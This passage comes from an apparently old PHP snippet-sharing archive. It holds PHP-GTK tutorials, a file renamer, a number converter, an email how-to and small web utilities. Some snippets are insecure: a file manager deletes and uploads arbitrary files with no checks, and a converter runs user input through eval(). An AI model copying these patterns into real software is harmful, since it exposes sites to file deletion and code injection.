!== false) {\n\t\t\tif (strlen($i) == 1) { $number = \"000\" . $i; }\n\t\t\tif (strlen($i) == 2) { $number = \"00\" . $i; }\n\t\t\tif (strlen($i) == 3) { $number = \"0\" . $i; }\n\t\t\t$extension = substr(strrchr($file, \".\"), 1);\n\t\t\tif ($file != \".\" && $file != \"..\" && $file != \"bkup\") {\n\t\t\t\tif (@copy(\"$directory/bkup/$file\", \"$directory/$prefix$number.$extension\")) {\n\t\t\t\t\tif ($check->get_active() == 0) {\n\t\t\t\t\t\tunlink(\"$directory/bkup/$file\");\n\t\t\t\t\t}\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\t}\n\t\t} \n\t\tclosedir($dir);\n\t}\n\tif ($check->get_active() == 0) {\n\t\trmdir(\"$directory/bkup\");\n\t}\n\t\n\techo \"\\nall done!\\n\";\n\t\n}\n$window = &new GtkWindow();\n$window->set_title('PORG');\n$window->connect('destroy', 'destroy');\n$window->connect('delete-event', 'delete_event');\n$window->set_border_width(10);\n$table = &new GtkTable(4, 2);\n$table->set_row_spacings(4);\n$table->set_col_spacings(4);\n$window->add($table);\n$dir_label = &new GtkLabel('Directory: ');\n$table->attach($dir_label, 0, 1, 0, 1);\n$prefix_label = &new GtkLabel('File Prefix: ');\n$table->attach($prefix_label, 0, 1, 1, 2);\n$dir_entry = &new GtkEntry();\n$table->attach($dir_entry, 1, 2, 0, 1);\n$prefix_entry = &new GtkEntry();\n$table->attach($prefix_entry, 1, 2, 1, 2);\n$check = &new GtkCheckButton('Backup Directory?');\n$check->set_active(TRUE);\n$table->attach($check, 1, 2, 2, 3);\n$button = &new GtkButton('Rename Files');\n$button->connect('clicked','back_up');\n$table->attach($button, 0, 2, 3, 4);\n$window->show_all();\nGtk::main();\n?>"},{"WorldId":8,"id":578,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":580,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":581,"LineNumber":1,"line":"\nFirst, I would like to mention that this tutorial assumes you already have some basic knowledge of PHP, and have installed the PHP-GTK package (http://gtk.php.net/download.php). If you are new to PHP, then please check out my PHP 101 tutorial before proceeding.\n\n\nRecently, I've found myself moving further and further away from application development, and more into web development. This isn't a bad thing, until the day you need to code an application and realize you don't know where to begin. \n\n\nC isn't my favorite language, seeing as I'm a very amature programmer with the language. Perl and I aren't really friends anymore, and VB is out of the question now that I run Linux full time. \n\n\nThis would normally be a problem, but there is a new kid on the block, PHP-GTK. If you weren't aware already, I love PHP and if it were possible, I'd want it to have my children. Back to the point, PHP-GTK is a new extension of the PHP language that allows you (the developer) to write client-side, cross-platform GUI applications.\n\n\nPretty sexy, huh?\n\n\nPHP-GTK utilizes the GTK+ libraries which are used to create graphical user interfaces. This technology was originally developed for the GIMP (GNU Image Manipulation Program) and has become a large part of Gnome.\n\n\nAs mentioned, PHP-GTK is cross-platform, allowing for applications to be developed on Linux and Windows.\n\n\nEnough with the history, I bet you want to put PHP-GTK to good use. If you don't have PHP (4.0.5 or greater) and PHP-GTK (0.5.0 is the latest, and I recommend using it) installed, then please do so or you're going to be up the creek without a paddle in a few minutes.\n\n\nIn the grand tradition of programming, we are going to build a \"hello world\" application.\n\n\nFirst thing you will need to do is create a new file, and name it \"hello_world.php\". Once you have that, open it up for editting.\n\n\nJust like a PHP web page, a PHP-GTK file is going to start with <? and end with ?>. You can go ahead and put in the <? to start off our document.\n\n\nAfter we put in the opening delimiter, we need to insert the code to tell the system that it is PHP-GTK and not just a standard PHP document.\n\n<TABLE align=\"center\"><TR><TD>\nif (!class_exists('gtk')) { \n dl('php_gtk.' . (strstr(PHP_OS, 'WIN') ? 'dll' : 'so')); \n}\n</td></tr></table>\n\nThis code is very significant to your code being cross-platform. It checks to see if the PHP-GTK extension is already available, and if not, it will load it up for you. The file that is loaded is either php_gtk.dll on Windows, or php_gtk.so on Linux.\n\n\nIf you have been checking out source code for PHP-GTK you have probably seen:\n\n<TABLE align=\"center\"><TR><TD>\nif (!class_exists('gtk')) { \n if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) \n dl('php_gtk.dll'); \n else \n dl('php_gtk.so'); \n}\n</td></tr></table>\n\nwhich will accomplish the same task, but the previous code is only 3 lines instead of 6. Either one is acceptable.\n\n\nSo now our file has what it needs to tell the system that it is a PHP-GTK file. The next step is going to be to write some functions.\n\n\n<TABLE align=\"center\"><TR><TD>\nfunction delete_event() \n{ \n return false; \n} \n \nfunction shutdown() \n{ \n print(\"Shutting down...\\n\"); \n gtk::main_quit(); \n}\n</td></tr></table>\n\nThese are the functions that are used to handle terminating our application. The delete_event() is going to be registered as a handler for the \"delete-event\" signal, later in our code.\n\n\nWTF?!?\n\n\nLet me clarify, when the application is being closed, it sends out a \"delete-event\" signal to tell the system to delete the widget. Returning the value of \"false\" tells the system to continue with the deletion of the widget (in this case, our window). \n\n\nThe \"delete_event()\" function isn't 100% necessary, because the \"delete-event\" signal returns \"false\" by default. It was included because if you wanted to have an application prompt the user, to confirm that they wanted to close the application, the code would go in there. Returning the value of \"true\" will stop execution and leave the widget on the screen.\n\n\nHope that wasn't too much for you, because there's still more :)\n\n\nThe \"shutdown()\" function is pretty self explanatory. We are going to register that function as a handler for the \"destroy\" signal. The destroy signal is called when \"delete-event\" is \"false\". The function will contain any code you want to execute when the application is terminated. In this case, we're going to display \"Shutting down...\" in the console, and then call the funtion gtk::main_quit() which will tell the application to stop listening for events and to terminate itself and free up the memory.\n\n\nNow our code is coming together, we have the code to load the PHP-GTK extension, and two functions to aid in terminating the application. Next on our plate is our function that will display \"Hello World\" for us.\n\n<TABLE align=\"center\"><TR><TD>\nfunction hello_world() \n{ \n print \"Hello World!\\n\"; \n}\n</td></tr></table>\n\nThis function will later be registered as a handler for the \"clicked\" signal on a button. When the button is clicked, the application will display \"Hello World!\" in the console.\n\n\nOur functions are complete, so now it is time to build out our window. The next bit of code will build the window and connect the handlers to the functions we wrote previously.\n\n<TABLE align=\"center\"><TR><TD>\n$window = &new GtkWindow(); \n$window->connect('destroy', 'shutdown'); \n$window->connect('delete-event', 'delete_event'); \n$window->set_title('Hello World!'); \n$window->set_border_width(5);\n</td></tr></table>\n\nUp until now, the code we had written should have looked pretty familiar as most of it was plain PHP, now we are getting more into the meat and potatoes of the GTK+ side of PHP-GTK.\n\n\nThe first line creates a new widget and assigns it to the variable \"$window\". New widgets are always loaded in this format:\n\n<TABLE align=\"center\"><TR><TD>\nvariable = &new GtkWidgetType;\n</td></tr></table>\n\nIn this instance, our widget is the actual window that will contain our buttons and such. The window widget is known as GtkWindow.\n\n\nOnce we have created our widget, we have to connect the handlers to the functions we created earlier. The format for using the \"connect\" method is as follows:\n\n<TABLE align=\"center\"><TR><TD>\nwidget->connect('signal', 'function');\n</td></tr></table>\n\t\nIncidentially, this is basically the same format we use for all methods, including the next two lines. The first one uses the \"set_title\" method to assign the title for the window, and the next sets the border width.\n\n\nNow that we have our window built, we can go ahead and add a button to it. The button will trigger the \"hello_world()\" function and print out \"Hello World!\" in the console.\n\n<TABLE align=\"center\"><TR><TD>\n$button = &new GtkButton('Hello World!'); \n$button->connect('clicked', 'hello_world'); \n \n$window->add($button);\n</td></tr></table>\n\nLike before, we create the new widget and assign it to a variable. This time, we have an arguement to the constructor, which will assign the text that will appear on our button. \n\n\nAfter we create the button widget, we have to connect the \"clicked\" signal to the \"hello_world()\" function. Now whenever someone clicks on the button, the \"hello_world()\" function will be executed.\n\n\nThe third line refers back to the window widget we added earlier in our code. We use the method \"add\" to place the button on to the window.\n\n\nYou're almost done with your first PHP-GTK application. All we need to do now is display the widgets that we can created, and then tell the application to start listening for events. The following two lines do just that.\n\n<TABLE align=\"center\"><TR><TD>\n$window->show_all(); \ngtk::main();\n</td></tr></table>\n\nOf course, we will need to add another delimiter to close off the PHP code, so tack on the ?> to the end, save the file, and close out of your editor.\n\n\nRunning your application is the next step in our adventure. If you are expecting to double-click on the file, and it executes, you're very mistaken. To use this application we will have to execute it with the PHP executable. \n\n\nDepending on your system, you will have different syntax, but the basic method is going to be \"php -q hello_world.php\". The arguement \"-q\" is for quiet-mode, which will supress any HTTP header output to the console.\n\n\nWhen you run that command on your system, it should bring up a nice little window with a button in the middle labeled \"Hello World!\"\n\n\nTry clicking the button, it should display \"Hello World!\" in the console everytime you click it. Now click on the close button, and it should say \"Shutting down...\" and exit the application.\n\n\nCongrats, you've just built your first PHP-GTK application.\n\n\nThe code in \"hello_world.php\" is functional, but doesn't get too deep. There are many different widgets that can be utilized. We only used the window and the button widgets, but could easily implement tool tips for our on screen objects, more buttons for different functions, entry fields to take input from the user, et cetera. This will be covered in future tutorials.\n"},{"WorldId":8,"id":582,"LineNumber":1,"line":"<?\n/*\n * convert.php - Number conversion in PHP-GTK.\n * \n * Author: Josh Sherman\n * Purpose: Converts a number to a different type.\n * Usage: php -q conversion.php\n *\n */\n// Check to see if the PHP-GTK extension is available.\ndl( 'php_gtk.' . (strstr( PHP_OS, 'WIN') ? 'dll' : 'so'));\n// Called when delete-event takes place, tells it to proceed.\nfunction delete_event()\n{\n\treturn false;\n}\n// Called when the window is being destroyed, tells it to quit the main loop.\nfunction destroy()\n{\n\tGtk::main_quit();\n}\n// Called when a radio button is clicked, converts the number to that format.\nfunction convert($widget, $which)\n{\n\tglobal $current_type;\n\tglobal $entry;\n\t// Get the value from the entry field\t\n\t$number = $entry->get_text();\n\t// Make sure they aren't clicking on an already active radio.\n\tif ($current_type != $which) {\n\t\t// Converts the number to decimal if it isn't already.\n\t\tif ($current_type != \"dec\") {\n\t\t\teval (\"\\$number = \" . $current_type . \"dec(\\\"$number\\\");\");\n\t\t}\n\t\t// Converts the number to the desired format.\n\t\tif ($which != \"dec\") {\n\t\t\teval (\"\\$number = strtoupper(dec\" . $which . \"(\\\"$number\\\"));\");\n\t\t}\n\t\t// Sets the entry box to the new value.\n\t\t$entry->set_text($number);\n\t}\n\t// Set the new type as the current type.\n\t$current_type = $which;\n}\n// Creates a new top-level window and connect the signals to the appropriate functions.\n$window = &new GtkWindow();\n$window->connect('destroy', 'destroy');\n$window->connect('delete-event', 'delete_event');\n$window->set_title(\"Conversion Utility\");\n$window->set_border_width(5);\n$window->set_policy(false, false, false);\n// Creates a table to place our widgets, and adds it to the table.\n$table = &new GtkTable(2, 1);\n$window->add($table);\n// Creates an entry field, and places it on our table.\n$entry = &new GtkEntry();\n$table->attach($entry, 0, 1, 0, 1);\n// Creates another table, and places it on the existing table.\n$types = &new GtkTable(1, 4);\n$table->attach($types, 0, 1, 1, 2);\n// Creates and groups radio buttons.\n$hex = &new GtkRadioButton(null, 'Hex');\n$dec = &new GtkRadioButton($hex, 'Dec');\n$oct = &new GtkRadioButton($hex, 'Oct');\n$bin = &new GtkRadioButton($hex, 'Bin');\n// Set the 'Decimal' radio as active, and set the current type to decimal.\n$dec->set_active(TRUE);\n$current_type = \"dec\";\n// Connect the radios to the convert function, and feeds the value to it.\n$hex->connect('pressed', 'convert', 'hex');\n$dec->connect('pressed', 'convert', 'dec');\n$oct->connect('pressed', 'convert', 'oct');\n$bin->connect('pressed', 'convert', 'bin');\n// Place the radios on the table.\n$types->attach($hex, 0, 1, 0, 1);\n$types->attach($dec, 1, 2, 0, 1);\n$types->attach($oct, 2, 3, 0, 1);\n$types->attach($bin, 3, 4, 0, 1);\n// Create tool tips for the widgets and enabled them.\n$tthex = &new GtkTooltips();\n$tthex->set_delay(200);\n$tthex->set_tip($hex, 'Convert the number to Hexadecimal.', '');\n$tthex->enable();\n$ttdec = &new GtkTooltips();\n$ttdec->set_delay(200);\n$ttdec->set_tip($dec, 'Convert the number to Decimal.', '');\n$ttdec->enable();\n$ttoct = &new GtkTooltips();\n$ttoct->set_delay(200);\n$ttoct->set_tip($oct, 'Convert the number to Octal.', '');\n$ttoct->enable();\n$ttbin = &new GtkTooltips();\n$ttbin->set_delay(200);\n$ttbin->set_tip($bin, 'Convert the number to Binary.', '');\n$ttbin->enable();\n$ttentry = &new GtkTooltips();\n$ttentry->set_delay(200);\n$ttentry->set_tip($entry, 'Type the number you want to convert here.', '');\n$ttentry->enable();\n// Show the window and all of it's child widgets.\n$window->show_all();\n// Run the main loop.\nGtk::main();\n?>"},{"WorldId":8,"id":588,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":589,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":590,"LineNumber":1,"line":"<html><head>\nHow to send mime enchased content (html) by E-mail. (Windows/Linux/UNIX). \n \nPretext: \nThis howto covers how you can send html based E-mail(s) by using php. \nWhen I started out with php, one of the first things I wanted to learn was how \nto send html based (E-mail) to my friends. IΓÇÖm not going to bother you with \nmy life experience with php, so letΓÇÖs start. \n \nContent: (what this howto covers). \n \nPretext \nSetup \nExamples \nFAQ \n \n \nSetup: \nWhen I first started programming php, I thought you needed to have many packages/software \ninstalled on your computer to run all features that comes with php. \nWell you donΓÇÖt, all you need is, php3, apache and a mysql engine (optional). \nIf you already have php and apache installed, then you can scroll down to read \nthe rest of this howto. If you donΓÇÖt got the software/packages mentioned above, \nthen you need to install them. \n \nExamples: \nIΓÇÖll skip the boring part, and IΓÇÖm assuming you have some php knowledge. \n \nYou can download this <a href=\"http://www.zargate.org/example.zip\">file</a> as an example.\n\n \nAfter you've downloaded this file, you extract it into your htdocs/ folder or whatever folder you may use as your default webcontent excutable folder.\n \nFAQ: \n1.Does my friends/users E-mail client accept all html code? \nUnfortunately, not all E-mail clients can view html code. \nIe, Microsoft Outlook 6.0 canΓÇÖt view Macromedia Flash code. \nBut thatΓÇÖs another thing. \n \n2. Can I put all kinds of html inside the body tag? \nYes, you can but remember not to have any ΓÇ£ΓÇ¥ (quotes) inside the $body tag. \nIf youΓÇÖre html contains ΓÇ£ΓÇ¥ (quotes) you need to replace them. \nIe, $body = ΓÇ£\"my link.php\" this is my link</a>ΓÇ¥; \nThat will generate an error in the php engine. \nBut if you replace it with $body = ΓÇ£\\my link.php\\ this is my \nlink</a>ΓÇ¥; then php engine will accept it. The current function is called (ΓÇ£stripslashesΓÇ¥); \n \nThis bad howto was written by Peter Rekdal Sunde aka Exion. \nI created this howto within an 30 minutes. \nI realize that it is full of ΓÇ£bad spellingsΓÇ¥ but I donΓÇÖt care because you can \nstill learn from it.\n"},{"WorldId":8,"id":593,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":594,"LineNumber":1,"line":"<?php\nerror_reporting(0);\n//this turns off error reporting we dothis so that we don't get a warning for the $action variable\n$destination=\".\";\n//the directory that the script index's if you want the current directory put a \".\" if you want another folder\n//put \"foldername\"\nif ($action=='delete')\n{\n$del = unlink(\"./$destination/$fle\");\n}\necho '<CENTER>File manager</CENTER> <TABLE BORDER=0 CELLSPACING=0 CELLPADDING=o><TR><TD ALIGN=center WIDTH=200 bgcolor=FFECCE><CENTER>Filename:</CENTER></TD><TD ALIGN=center WIDTH=200 bgcolor=FFECCE><CENTER>Functions:</CENTER></TD><TD ALIGN=center WIDTH=200 bgcolor=FFECCE><CENTER>Filesize(in bytes):</CENTER></TD><TD ALIGN=center WIDTH=150 bgcolor=FFECCE><CENTER>Filetype:</CENTER></TD><TD ALIGN=center WIDTH=150 bgcolor=FFECCE><CENTER>Created on:</CENTER></TD></TABLE>';\n $directory = opendir($destination);\n while( $file = readdir( $directory ) )\n {\n $file_ar[] = $file;\n }\n foreach( $file_ar as $file )\n {\n if( $file == \"..\" || $file == \".\" )\n {\n continue;\n }\n$type= strrchr($file,'.');\n$name=$file;\n$name2=$destination.\"/\".$file;\nif($type==''){$type='dir';}\n$sizeoff=filesize($name2);\n$time=date(\"D M j Y\",filectime($name2));\nif($time=='Wed Dec 31 1969'){$time='Unknown';}\nif($sizeoff==''){$sizeoff='Unknown';}\nif($sizeoff=='0'){$sizeoff='Unknown';}\n$file2 = dirname($name2);\n if($color == \"FF9A00\") {\n $color = \"FFECCE\";\n } else {\n $color = \"FF9A00\";\n }\necho\"<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=o><TR><TD ALIGN=center WIDTH=200 bgcolor='$color'><a href='$uname/$file' target=_blank>$name</a></TD><TD ALIGN=center WIDTH=200 bgcolor='$color'><A HREF='$PHP_SELF?action=delete&fle=$file&der=$uname'>Delete</A><TD ALIGN=center WIDTH=200 bgcolor='$color'>$sizeoff</TD> <TD ALIGN=center WIDTH=150 bgcolor='$color'>$type</TD><TD ALIGN=center WIDTH=150 bgcolor='$color'>$time</TD></TABLE>\";\n}\necho \"<CENTER> Uploader</CENTER> <FORM ACTION='$PHP_SELF' METHOD=post enctype=\\\"multipart/form-data\\\">File: <INPUT TYPE='file' size='20' name='filename'> <CENTER> <input type=\\\"hidden\\\" name=\\\"action\\\" value=\\\"uploadProg\\\"><INPUT TYPE='hidden' name='action' value='upload'><INPUT TYPE='submit' value='Upload File'></CENTER></FORM>\";\nclosedir($directory);\nif($action==''){$action='noaction';}else{$action=$action;}\nif($action=='upload')\n{\n $filename==$filename_name;\n $action=('uploadprog');\n $destination=\".\";\n copy($filename,$destination.\"/\".$filename_name);\n echo \"<h2>File Uploaded.</h2>\";\n echo \"<HEAD><META HTTP-EQUIV='Refresh' CONTENT=1></HEAD>\";\n }\n if ($filename==\"none\") {echo(\"<h1>No File Selected....</h1>\"); break;}\n uploadProg($filename,$filename_name);\n break;\n?>"},{"WorldId":8,"id":595,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":596,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":598,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":599,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":601,"LineNumber":1,"line":"<script language=\"JavaScript\">\n\n</script>\n<? $MyPHPVar = \"<script language=JavaScript> document.write(MyJavaScriptVar);</script>\"; \necho $MyPHPVar;\n?>"},{"WorldId":8,"id":604,"LineNumber":1,"line":"<?php\n/* \nSimple Entry Form Using PHP GTK\nAuthor Mandar Kelkar\nEmail kelkar_mandar@yahoo.com\n*/\nif (!class_exists('gtk')){\n\tstrtoupper(substr(PHP_OS,0,3) == 'WIN')?dl('php_gtk.dll'):dl('php_gtk.so');\n\t}\n//Get the initial window with specific settings\n$window = &new GtkWindow();\n$window->set_position(GTK_WIN_POS_CENTER);\n$window->set_title(\"Entry Form\");\n$window->set_border_width(5);\n//$window->set_default_size((gdk::screen_width()/4),(gdk::screen_height()-80));\n$window->set_default_size(500,300);\n$window->connect_object(\"destroy\", array(\"gtk\",\"main_quit\"));\n$window->set_policy(false, false, false);\n$window->realize();\n \n//Get GTK TABLE and add it to the window\n$table = &new GtkTable(4,2);\n$table->set_row_spacings(5);\n$table->set_col_spacings(5);\n$window->add($table);\n$name = &new GtkLabel(\"Your Name\");\n/*$tp = $name->get_colormap();\n$tp->alloc(235,2,2);\n$name->set_colormap($tp);\n$name->set_usize(20,100);*/\n$name->set_justify(GTK_JUSTIFY_FILL);\n$table->attach($name,0,1,0,1);\n$nametext = &new GtkEntry();\n$nametext->set_editable(true);\n//$nametext->set_usize(20,100);\n$table->attach($nametext,2,3,0,1);\n$address = &new GtkLabel(\"Your Address\");\n$address->set_justify(GTK_JUSTIFY_FILL);\n//$address->set_usize(20,100);\n$table->attach($address,0,1,1,2);\n$addresstext = &new GtkText();\n$addresstext->set_editable(true);\n//$addresstext->set_usize(20,100);\n$table->attach($addresstext,2,3,1,2); \n$phone = &new GtkLabel(\"Phone No\");\n$phone->set_justify(GTK_JUSTIFY_FILL);\n$table->attach($phone,0,1,2,3);\n$phoneno = &new GtkEntry();\n$phoneno->set_editable(true);\n$table->attach($phoneno,2,3,2,3);\n$sexlabel = &new GtkLabel(\"Sex\");\n$sexlabel->set_justify(GTK_JUSTIFY_FILL);\n$table->attach($sexlabel,0,1,3,4);\n$male = &new GtkRadioButton(null,'Male');\n$female = &new GtkRadioButton($male,\"Female\");\n$male->set_active(true);\n$male->connect('pressed','sexfunc','male');\n$female->connect('pressed','sexfunc','female');\n$table->attach($male,2,3,3,4);\n$table->attach($female,2,3,4,5);\n$submit = &new GtkButton(\"Submit\");\n$submit->connect('clicked','Showdetails');\n$table->attach($submit,2,3,6,7);\nfunction sexfunc($widget,$sexvar){\nglobal $varsex;\n$varsex = $sexvar;\n}\nfunction Showdetails(){\nglobal $window,$addresstext,$phoneno,$nametext,$varsex;\n$enteredname = $nametext->get_text();\n$enteredphone = $phoneno->get_text();\n$len = $addresstext->get_length();\n$newaddresstext = $addresstext->get_chars(0,$len);\nprint \"\\n Hi are the details from form => \\n \n\t\t Name = $enteredname \\n\n\t\t address = $newaddresstext \\n\n\t\t phone = $enteredphone \\n\n\t\t sex = $varsex\\n \\n\";\nGtk::main_quit();\n}\n$window->show_all();\ngtk::main();\n?>"},{"WorldId":8,"id":605,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":611,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":612,"LineNumber":1,"line":"Check e-mail address validity \nIn my work I am asking my self is there way to \n check e-mail address validity.Let's look over the following lines: \n This is simple communication between user and SMTP server:\n(Server) 220 server5.donhost.co.uk ESMTP \n (User) helo localhost \n (Server) 250 server5.donhost.co.uk \n (User) mail from:admin<admin@purplerain.org> \n (Server) 250 ok \n (User) rcpt to:contest<contest@purplerain.org> \n (Server) 250 ok \n (User) data \n (Server) 354 go ahead \n (User) subject:this is a test \n (User) hello friend how are you? \n . \n (Server) 250 ok 1019555935 qp 93990 \n (User) quit \n (Server) 221 server5.donhost.co.uk \nThen let's look over the following lines:\n(Server) 220 astral.acvilon.com ESMTP Sendmail \n 8.11.6/8.11.6; Tue, 23 Apr 2002 13:43:10 + \n 0300 \n helo localhost \n (Server) 250 astral.acvilon.com Hello [195.24.48.45], pleased to meet you \n (User) mail from:htr@acvilon.com \n (Server) 250 2.1.0 htr@acvilon.com... Sender ok \n (User) rcpt to:bla_bla@acvilon.com \n (Server) 550 5.1.1 bla_bla@acvilon.com... User unknown\n \n If web server support the user recognition, the result should be 'User unknown'\nPHP implementation\n<?PHP \n class CEmail{\nfunction check($host,$user){\n$fp = fsockopen ($host, 25); \n set_socket_blocking ($fp, true); \n fputs ($fp, "Helo Local\\n"); \n fgets ($fp, 2000); \n fgets ($fp, 2000); \n fputs ($fp, "Mail From:<$user@$host> \\n"); \n fgets ($fp, 2000); \n fputs ($fp, "RCPT to:aetos<$user@$host> \\n"); \n $result= fgets ($fp, 2000); \n $st= substr($result,0,3); \n if ($st==250){\n echo"Email address is valid"; \n } \n \n else \n echo"The address is not valid"; \n \n } \n }\n$m=new CEmail; \n $m->check("acvilon.com","farkon");\n ?> \n This class implementing the conversation in previous chapter (SMTP & USER)\n \n \n "},{"WorldId":8,"id":615,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":617,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":618,"LineNumber":1,"line":"function Redirect_Function($Page)//Function to redirect the page into destination one due to its parameter\n {\n global $HTTP_SERVER_VARS;\n $Path = \"http://\".$HTTP_SERVER_VARS['HTTP_HOST'].dirname($HTTP_SERVER_VARS['PHP_SELF']).\"/\".$Page;\n echo\"<script>window.location=\\\"$Path\\\"</script>\";\n }"},{"WorldId":8,"id":621,"LineNumber":1,"line":"<?php\nfunction format($code) {\n$reserved = Array(\"Public\", \"Private\", \"Sub\", \"Dim\", \"As\", \"Integer\", \"End\", \"Me\", \"String\", \"Long\", \"Function\", \"Declare\", \"Lib\", \"ByVal\", \"With\", \"If\", \"Then\", \"Else\", \"Option\", \"Explicit\", \"Type\", \"Const\", \"Open\", \"Close\", \"Print\", \"Write\", \"As\", \"For\", \"Next\", \"To\");\n$numr = count($reserved);\n$code = str_replace('(', ' ( ', $code);\n$code = str_replace(')', ' ) ', $code);\n$code = str_replace('.', ' . ', $code);\n$code = str_replace(\"'\", \" ' \", $code);\n$code = str_replace('\"', ' \" ', $code);\n$code = str_replace(\",\", \" , \", $code);\n$lines = explode(\"\\n\", $code);\n$numl = count($lines);\n//for each line\nfor ($i = 0; $i < $numl; $i++) {\n\t$lines[$i] = str_replace(\"\\r\", '', $lines[$i]);\n $words = explode(' ', $lines[$i]);\n $numw = count($words);\n $line = '';\n //for each word\n for ($j = 0; $j < $numw; $j++) {\n $b = 0;\n //if it's a comment '\n if($words[$j] == \"'\") {\n $line = substr($line, 0, strlen($line) -1) . '' . \"'\";\n for ($m = $j + 1; $m < $numw; $m++) {\n $line = $line . $words[$m] . ' ';\n }\n $line = $line . \"\";\n break;\n }\n //if it's a quote \"\n if ($words[$j] == '\"') {\n $line = substr($line, 0, strlen($line) -1) . $words[$j];\n if ($skip == 1) {\n $skip = 0;\n } else {\n $skip = 1;\n }\n } else {\n if ($skip == 0) { //if we're not skipping\n //for each reserved word\n for ($k = 0; $k < $numr; $k++) {\n if (strtolower(trim($words[$j])) == strtolower($reserved[$k])) {\n $b = 1;\n $line = $line . '' . $words[$j] . ' ';\n break;\n }\n }\n //if it's not in a comment\n if ($b != 1) {\n $line = $line . $words[$j];\n if(trim($words[$j]) != '\"') {\n if(trim($words[$j]) != \"'\") {\n $line = $line . ' ';\n }\n }\n }\n } else {\n if (trim($words[$j]) == '\"') {\n $line = trim($line) . '\"';\n } else {\n $line = $line . $words[$j] . ' ';\n }\n }\n }\n }\n $fcode = $fcode . $line . \"\\n\";\n}\n$fcode = str_replace(\" ( \", \"(\", $fcode);\n$fcode = str_replace(\" ) \", \")\", $fcode);\n$fcode = str_replace(\" . \", \".\", $fcode);\n$fcode = str_replace(\" ' \", \"'\", $fcode);\n$fcode = str_replace(\" , \", \",\", $fcode);\nreturn '<pre style=\"background:#F4F4F4;\">' . trim($fcode, \"\\n\") . '</pre>';\n}\n?>"},{"WorldId":8,"id":624,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":625,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":627,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":628,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":629,"LineNumber":1,"line":"$query = \"CREATE TABLE tmp\n\t SELECT my_id\t \n FROM table1\n WHERE myvalue is null\n\t \";\nmysql_query ($query);\n$query = \"SELECT sec_id, info\n\t FROM table2\n\t LEFT JOIN tmp \n\t ON sec_id = my_id\n\t WHERE sec_id NOT IN(my_id)\n\t \";\n\t\t\t\t \n$result=mysql_query ($query);\t\t \nmysql_query (\"DROP TABLE tmp\");\n\t\t\nwhile ($row = mysql_fetch_array ($result)) {\necho $row[\"sec_id\"].\"\\n\";\necho $row[\"info\"].\"\\n\";\n}\t"},{"WorldId":8,"id":630,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":638,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":639,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":648,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":651,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":659,"LineNumber":1,"line":"<?php\nif (!$filename) { //check if it is in the dir\n $filename = \"default.txt\"; //the default file\nif (file_exists(\"$filename\")) {\n//echo \"The file exists. \"; \n//early experiments\n}\nelse {\n$fp = fopen($filename,\"a+\");\nfputs($fp,\"999.555.444.21\\n\"); \n//999.555.444.21\n//just so that there is something in the file \n//at the beginning\nfclose($fp); \n}\n}\n//the main code\nfunction ticker($filename,$remoted,$mode,$stuff) {\n $fp = fopen(\"checklist.txt\",\"w+\");\n $filename2 = \"checklist.txt\"; \n//the checklist \n//is just a base of comparison\n// i found that comparing $REMOTE_ADDR and the\n// other file had some flaws\n// so writing a new one worked best with the \n// same content, it was probably because of the\n// linefeed character\n fputs($fp,\"$remoted\\n\");\n fclose($fp);\n $check_var = 0;\n $inlines = file($filename2);\n $inline = file($filename);\n $number_of_lines = count($inline);\n for($x = 0; $x <= $number_of_lines ;$x++){\n echo \"$inlines[0]\";\n echo \" $inline[$x]\";\nif ($inlines[0] == $inline[$x]) {\n$check_var = 1;\n}\n}\nreturn $check_var; \n}\nif (!ticker($filename,$REMOTE_ADDR,null,null)) {\n$fp = fopen($filename,\"a+\");\nfputs($fp,\"$REMOTE_ADDR\\n\");\nfclose($fp);\necho \"WELCOME FFS!\";\n}\nelse {\necho \"WELCOME BACK FFS!\";\n}\n ?>"},{"WorldId":8,"id":663,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":664,"LineNumber":1,"line":"<?\n /* Array to File */\n function __process_array($array,$indent)\n {\n $ret_str = \"\";\n $first = true;\n foreach ($array as $key => $value)\n {\n if (!$first) \n $ret_str .= \",\\n\";\n else\n $first = false;\n\t\t\t\n $ret_str .= str_repeat(\" \",$indent);\n\t\t\t\t\t\t\n if (is_array($value)) \n {\n $ret_str .= \"'$key' => array(\\n\".__process_array($value,$indent+5).\"\\n\".str_repeat(\" \",$indent).\")\";\n }\n elseif (is_string($value))\n {\n $ret_str .= \"'$key' => '$value'\";\n }\n elseif (is_int($value))\n {\t\t\t\n $ret_str .= \"'$key' => $value\";\n }\n elseif (is_bool($value))\n {\t\t\t\n $ret_str .= \"'$key' => \".($value?\"true\":\"false\");\n }\n }\n return $ret_str;\n }\n\t\n function array_to_file($array,$name,$filename)\n {\n $file_str = \"<?\\n $\".\"$name = array(\\n\";\n $file_str .= __process_array($array,6);\t\n $file_str .= \"\\n );\\n?>\";\n\t\t\n $file = fopen($filename,\"w\");\n fwrite($file,$file_str);\n fclose($file);\n }\n?>"},{"WorldId":8,"id":665,"LineNumber":1,"line":"/* \n*@author steve gricci <rejuvenx@deepcode.net> \n*@access public \n*@skill beginner \n*@site www.deepcode.net \n*/ \n//put at begining of file \nfunction utime (){ \n $time = explode( \" \", microtime()); \n $usec = (double)$time[0]; \n $sec = (double)$time[1]; \n return $sec + $usec; \n} \n $start = utime(); \n//put at end of page before /body and /html tags \n$end = utime(); $run = $end 